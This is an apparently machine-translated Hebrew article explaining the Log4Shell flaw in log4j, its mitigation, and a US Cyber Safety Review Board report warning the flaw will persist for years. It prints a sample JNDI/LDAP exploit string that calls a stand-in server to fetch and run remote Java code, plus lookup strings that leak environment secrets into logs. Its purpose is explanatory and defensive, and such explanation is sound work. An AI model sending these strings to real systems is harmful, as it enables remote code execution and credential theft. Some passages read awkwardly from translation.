8 חודשים לאחר מכן, ארה"ב אומרת ש-Log4Shell יהיה בסביבה "עשור או יותר"

לִזכּוֹר Log4Shell?

זה היה באג מסוכן בערכת כלים פופולרית לתכנות Java בקוד פתוח בשם log4j, קיצור של "Logging for Java", שפורסם על ידי Apache Software Foundation תחת רישיון קוד מקור ליברלי וחינמי.

אם אי פעם כתבת תוכנה מכל סוג שהוא, מקובץ ה-BAT הפשוט ביותר במחשב נייד של Windows ועד למגה אפליקציית המסוקסת ביותר הפועלת על מדף שלם של שרתים, השתמשת בפקודות רישום.

מתפוקה בסיסית כגון echo "Starting calculations (this may take a while)" מודפס למסך, כל הדרך להודעות רשמיות שנשמרו במסד נתונים של כתיבה חד פעמית מטעמי ביקורת או תאימות, רישום הוא חלק חיוני ברוב התוכניות, במיוחד כאשר משהו נשבר ואתה צריך תיעוד ברור של כמה רחוק בדיוק הגעת לפני הבעיה פגעה.

ה-Log4Shell פגיעות (למעשה, התברר שיש כמה בעיות קשורות, אבל נתייחס לכולן כאילו הן בעיה אחת גדולה כאן, לשם הפשטות) התברר כחצי באג, חצי תכונה.

במילים אחרות, Log4j עשה את מה שהוא אמר במדריך, בניגוד לבאג כזה בהצפת מאגר, שבו התוכנית הפוגעת מנסה בטעות להתעסק עם נתונים שהיא הבטיחה שתעזוב לבד...

...אבל אלא אם קראת את המדריך בקפידה, ונקטת אמצעי זהירות נוספים בעצמך על ידי הוספת שכבה של אימות קלט קפדני על גבי Log4j, התוכנה שלך עלולה להיתקע.

באמת, רע, לגמרי לא תקוע.

אינטרפולציה נחשבת כמזיקה

במילים פשוטות, Log4j לא תמיד הקליט הודעות יומן בדיוק כפי שסיפקת אותן.

במקום זאת, הייתה לו "תכונה" המוכרת בצורה שונה ומבלבלת בעגה אינטרפולציה, החלפת פיקוד or שכתוב אוטומטי, כך שתוכל להפעיל תכונות של מניפולציה של טקסט בתוך כלי הרישום עצמו, מבלי שתצטרך לכתוב קוד מיוחד משלך כדי לעשות זאת.

לדוגמה, הטקסט בעמודת INPUT להלן יירשם באופן מילולי, בדיוק כפי שאתה רואה אותו, וזה כנראה מה שאתה מצפה מערך כלים לרישום, במיוחד אם אתה רוצה לשמור תיעוד מדויק של נתוני הקלט שהמשתמשים שלך הציגו מסיבות רגולטוריות:

תוצאה קלט
------------------------------------------------------
USERNAME=ברווז -> USERNAME=ברווז
זיהוי מתקשר:555-555-5555 -> זיהוי מתקשר:555-555-5555
גרסה נוכחית = 17.0.1 -> גרסה נוכחית = 17.0.1

אבל אם הגשת טקסט עטוף ברצף הדמויות הקסום ${...}, לוגר לפעמים היה עושה איתו דברים חכמים, לאחר קבלת הטקסט אך לפני כתיבה בפועל לתוך קובץ היומן, כך:

תוצאה קלט
-------------------------------------------------- --------------------------
CURRENT=${java:version}/${java:os} -> CURRENT=Java גרסה 17.0.1/Windows 10 10.0
חשבון השרת הוא: ${env:USER} -> חשבון השרת הוא: root
${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

ברור שאם אתה מקבל טקסט רישום ממקור מהימן, שבו זה סביר לאפשר ל-logger לשלוט ביומן על ידי מורה לו להחליף טקסט רגיל בנתונים פנימיים, סוג זה של שכתוב טקסט שימושי.

אבל אם המטרה שלך היא לעקוב אחר נתונים שנשלחו על ידי משתמש מרוחק, אולי למטרות שמירת רישומים רגולטוריים, סוג זה של שכתוב אוטומטי מסוכן שבעתיים:

• במקרה של מחלוקת, אין לך תיעוד אמין של מה שהמשתמש אכן שלח, בהתחשב בכך שייתכן שהוא השתנה בין קלט לפלט.
• משתמש זדוני עלול לשלוח תשומות שנבנו בצורה ערמומית כדי לעורר את השרת שלך לעשות משהו שהוא לא היה אמור לעשות.

אם אתה רושם קלט של משתמשים כגון מחרוזת זיהוי הדפדפן שלהם, נניח (המכונה בעגה User-Agent), או את שם המשתמש או מספר הטלפון שלו, אינך רוצה לתת למשתמש הזדמנות להערים עליך לכתוב נתונים פרטיים (כגון מחרוזת סיסמה לזיכרון בלבד כמו AWS_ACCESS_KEY_ID בדוגמה למעלה) לתוך קובץ יומן קבוע.

במיוחד אם אמרת בביטחון למבקרים שלך או לרגולטור שלעולם אינך כותב סיסמאות טקסט רגיל לאחסון קבוע. (אתה לא צריך לעשות את זה, גם אם לא אמרת רשמית לרגולטור שלא!)

יותר גרוע לבוא

במקרה של Log4Shell is-it-a-bug-or-is-it-a-feature, לעומת זאת, הדברים היו הרבה יותר גרועים מהדוגמאות המסוכנות שכבר הצגנו למעלה.

לדוגמה, משתמש ששלח בכוונה נתונים כמו הקלט המוצג להלן עלול להפעיל רצף מסוכן באמת של אירועים:

תוצאה קלט
-------------------------------------------------- -- --------------------------------------
${jndi:ldap://dodgy.server.example:8888/BadThing} -> הורד והפעל תוכנית Java מרחוק!?

במחרוזת "אינטרפולציה" למעלה, ה- ${...} רצף תווים הכולל את הקיצורים jndi ו ldap אמר ל-Log4j לעשות זאת:

• השתמש בממשק Java Naming and Directory (JNDI) לאתר dodgy.server.example באינטרנט.
• התחבר לשרת הזה באמצעות LDAP, באמצעות יציאת TCP 8888.
• בקש את הנתונים מאוחסן באובייקט LDAP BadThing.

במילים אחרות, תוקפים יכולים לשלוח קלט בעל מבנה מיוחד שינחה את השרת שלך "להתקשר הביתה" לשרת בשליטתם, בלי כל כך כמו חופשת ידיים.

איך זה יכול להיות "תכונה"?

אתה אולי תוהה איך "תכונה" כזו נכנסה אי פעם לקוד Log4j.

אבל סוג זה של שכתוב טקסט יכול להיות שימושי, כל עוד אתה רושם נתונים ממקור מהימן.

לדוגמה, אתה יכול לרשום מזהה משתמש מספרי, אבל גם לבקש מהלוגר להשתמש ב-LDAP (ה פרוטוקול קל משקל של גישה לספרייה, בשימוש נרחב בתעשייה, כולל על ידי מערכת Active Directory של מיקרוסופט) כדי לאחזר ולשמור את שם המשתמש המשויך למספר חשבון זה באותו זמן.

זה ישפר הן את הקריאות והן את הערך ההיסטורי של הערך בקובץ היומן.

אבל שרת ה-LDAP ש-Log4j קרא בדוגמה שלמעלה (שנבחר על ידי המשתמש המרוחק, אל תשכח) לא סביר שיידע את האמת, שלא לדבר על לספר אותה, ולכן משתמש זדוני יכול להשתמש בטריק הזה. היומנים שלך עם נתונים מזויפים ואפילו מפוקפקים מבחינה משפטית.

גרוע מכך, שרת LDAP יכול להחזיר קוד Java מראש להפקת הנתונים לתיעוד, והשרת שלך יריץ את התוכנית הזאת בצייתנות - תוכנית לא ידועה, מסופקת על ידי שרת לא מהימן, שנבחרה על ידי משתמש לא מהימן.

באופן רופף, אם שרת כלשהו, ​​בכל מקום ברשת שלך, רשם קלט לא מהימן שנכנס מבחוץ, והשתמש ב-Log4j כדי לעשות זאת...

...אז הקלט הזה יכול לשמש כדרך ישירה ומיידית להערים על השרת שלך להפעיל קוד של מישהו אחר, בדיוק ככה.

זה נקרא RCE בז'רגון, קיצור של ביצוע קוד מרחוק, ובאגי RCE הם בדרך כלל המבוקשים ביותר על ידי פושעי סייבר מכיוון שבדרך כלל ניתן לנצל אותם כדי להשתיל תוכנות זדוניות באופן אוטומטי.

למרבה הצער, אופי הבאג הזה גרם לכך שהסכנה לא הוגבלה לשרתים הפונים לאינטרנט, ולכן השימוש בשרתי אינטרנט שנכתב ב-C, לא ב-Java (למשל IIS, Apache https, nginx), ולכן לא השתמשו בעצמם ב-Baggy. קוד Log4j, לא שחרר אותך מהסיכון.

בתיאוריה, כל אפליקציית Java עורפית שקיבלה ורישום נתונים ממקום אחר ברשת שלך, והשתמשה בספריית Log4j...

... עלולים להגיע ולנצלם על ידי תוקפים חיצוניים.

התיקון היה די פשוט:

• מצא גרסאות ישנות של Log4j בכל מקום ובכל מקום ברשת שלך. למודולי Java יש בדרך כלל שמות כמו log4j-api-2.14.0.jar ו log4j-core-2.14.0.jar, שם jar הוא קיצור של ארכיון Java, סוג בנוי במיוחד של קובץ ZIP. עם קידומת ניתנת לחיפוש, סיומת סופית ומספר הגרסה המוטבע בשם הקובץ, מציאת קבצים פוגעניים עם גרסאות "שגויות" של קוד ספריית Java הוא למעשה קל למדי.
• החלף את גרסאות הבאגי עם חדשים יותר, מתוקנים.
• אם לא היית בעמדה לשנות את גרסת Log4J, אתה יכול להפחית או להסיר את הסיכון על ידי הסרת מודול קוד יחיד מחבילת ה-Buggy Log4j (קוד ה-Java שטיפל בחיפושי JNDI, כמתואר לעיל), ואריזה מחדש של קובץ ה-JAR המצומצם שלך עם הבאג מדוכא.

הסאגה ממשיכה

למרבה הצער, לאחרונה, דו"ח מפורט על סאגת Log4Shell, שפורסמה בשבוע שעבר על ידי ארה"ב מועצת ביקורת אבטחת סייבר (CSRB), חלק מהמשרד לביטחון המולדת, מכיל את ההצעה המדאיגה (ההדגשה שלנו להלן) כי:

[T]אירוע Log4j לא הסתיים. ה-[CSRB] מעריך ש-Log4j הוא "פגיעות אנדמית" וכי מופעים פגיעים של Log4j יישארו במערכות עוד שנים רבות, אולי עשור או יותר. נותר סיכון משמעותי.

מה לעשות?

ב-42 עמודים (סיכום המנהלים לבדו מגיע לכמעט שלושה עמודים), ה- דוח המועצה הוא מסמך ארוך, וחלקים ממנו כבדים.

אבל אנו ממליצים לקרוא אותו, כי זה סיפור מרתק על איך אפילו בעיות אבטחת סייבר שאמורות להיות קלות וקלות לתיקון יכולות להתעלם, או לדחות למועד מאוחר יותר, או להכחיש לחלוטין כמו "של מישהו אחר". בעיה" לתקן.

הצעות בולטות מהשירות הציבורי האמריקני, שאנו תומכים בלב שלם, כוללות:

• לפתח את היכולת לשמור על נכסי טכנולוגיית מידע (IT) מדויקים ומלאי יישומים.
• [הגדר א] מתועד תוכנית תגובה לפגיעות.
• [הגדר] תהליך גילוי וטיפול על פגיעות מתועד.

כשזה מגיע לאבטחת סייבר, אל תשאל מה כולם יכולים לעשות בשבילך...

...אבל תחשוב על מה אתה יכול לעשות לעצמך, כי כל שיפורים שתבצע כמעט בוודאות להועיל לכל השאר גם כן.

---

[תוכן מוטבע]

---